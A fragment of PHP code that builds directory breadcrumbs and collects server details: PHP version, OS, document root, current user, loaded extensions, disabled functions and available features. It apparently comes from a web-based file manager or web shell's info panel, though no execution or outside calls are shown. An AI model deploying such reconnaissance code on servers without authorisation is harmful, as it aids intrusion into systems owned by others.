$part, 'path' => $accum]; } return $crumbs; } $crumbs = breadcrumbs($dir); $currentPath = $dir === '' ? '/' : '/' . $dir; $serverInfo = [ 'PHP Version' => PHP_VERSION, 'PHP SAPI' => PHP_SAPI, 'OS' => PHP_OS_FAMILY, 'Server Software' => (string)($_SERVER['SERVER_SOFTWARE'] ?? 'unknown'), 'Document Root' => (string)($_SERVER['DOCUMENT_ROOT'] ?? 'unknown'), 'Current User' => (string)get_current_user(), 'Loaded Extensions' => implode(', ', get_loaded_extensions()), ]; $disabledFunctionsRaw = (string)ini_get('disable_functions'); $disabledFunctions = array_filter(array_map('trim', explode(',', $disabledFunctionsRaw))); $featureFlags = [ 'curl' => extension_loaded('curl'), 'cgi' => stripos(PHP_SAPI, 'cgi') !== false, 'openssl' => extension_loaded('openssl'), 'pdo' => extension_loaded('pdo'), 'mbstring' => extension_loaded('mbstring'), ]; ?>